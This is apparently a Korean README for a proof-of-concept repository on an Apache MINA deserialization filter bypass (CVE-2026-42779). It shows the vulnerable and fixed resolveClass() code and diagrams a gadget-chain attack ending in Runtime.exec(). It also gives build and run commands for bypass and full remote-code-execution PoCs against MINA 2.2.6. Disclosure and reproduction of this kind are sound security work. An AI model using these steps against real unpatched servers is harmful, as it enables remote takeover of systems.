// AbstractIoBuffer.java — 취약한 버전 (2.2.6)
protected Class<?> resolveClass(ObjectStreamClass desc) {
    Class<?> clazz = desc.forClass();

    if (clazz == null) {
        // BUG: acceptMatchers 검사 없음 — 필터 완전히 우회됨
        return Class.forName(name, false, classLoader);
    } else {
        // 필터는 여기서만 적용됨
        for (ClassNameMatcher matcher : acceptMatchers) { ... }
    }
}

// AbstractIoBuffer.java — 수정된 버전 (2.2.7)
protected Class<?> resolveClass(ObjectStreamClass desc) {
    String className = desc.getName();

    // forClass() 결과와 관계없이 필터가 먼저 적용됨
    if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
        throw new ClassNotFoundException("Class not in accept list " + className);
    }

    Class<?> clazz = desc.forClass();
    // ... 안전한 해석 계속 진행
}

공격자                                    취약한 MINA 서버
   |                                              |
   |  1. 가젯 체인 클래스에 대한 유형 0             |
   |     설명자를 가진 MINA 페이로드 제작           |
   |                                              |
   |  2. ObjectSerializationCodecFactory를         |
   |     사용하는 엔드포인트로 전송 ---------------->|
   |                                              |
   |          3. readClassDescriptor()가 유형 0을 읽음
   |             → super(표준 Java)로 위임          |
   |                                              |
   |          4. resolveClass()가 forClass()==null 확인
   |             → 필터 없이 Class.forName() 호출   |
   |                                              |
   |          5. 가젯 체인이 완전히 역직렬화됨       |
   |             → readObject()가 체인 트리거       |
   |             → Runtime.exec() 실행             |
   |                                              |
   |                               RCE 달성        |

# 이 저장소 클론
git clone https://github.com/dinosn/CVE-2026-42779.git
cd CVE-2026-42779

# 모든 PoC 빌드 및 실행
docker build -t cve-2026-42779 .
docker run --rm cve-2026-42779

# 개별 PoC 실행
docker run --rm cve-2026-42779 bypass     # 필터 우회만
docker run --rm cve-2026-42779 crafted    # 제작된 페이로드 우회
docker run --rm cve-2026-42779 rce        # 완전한 RCE

# 탐색을 위한 셸 진입
docker run --rm -it cve-2026-42779 shell

# 취약한 버전 클론 및 빌드
git clone https://github.com/apache/mina.git /tmp/apache-mina
cd /tmp/apache-mina
git checkout 2.2.6
mvn install -pl mina-core -DskipTests -q

# commons-collections 다운로드 (RCE PoC용)
curl -sL "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" \
  -o commons-collections-3.2.2.jar

# PoC 컴파일
javac -cp mina-core/target/mina-core-2.2.6.jar FilterBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar RcePoC.java

# 필터 우회 PoC 실행
java -cp .:mina-core/target/mina-core-2.2.6.jar FilterBypassPoC

# 제작된 페이로드 PoC 실행
java -cp .:mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC

# 완전한 RCE PoC 실행
java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
     --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -cp .:mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar \
     RcePoC

make run-all    # 세 가지 PoC 모두 빌드 및 실행
make run-rce    # RCE PoC만 실행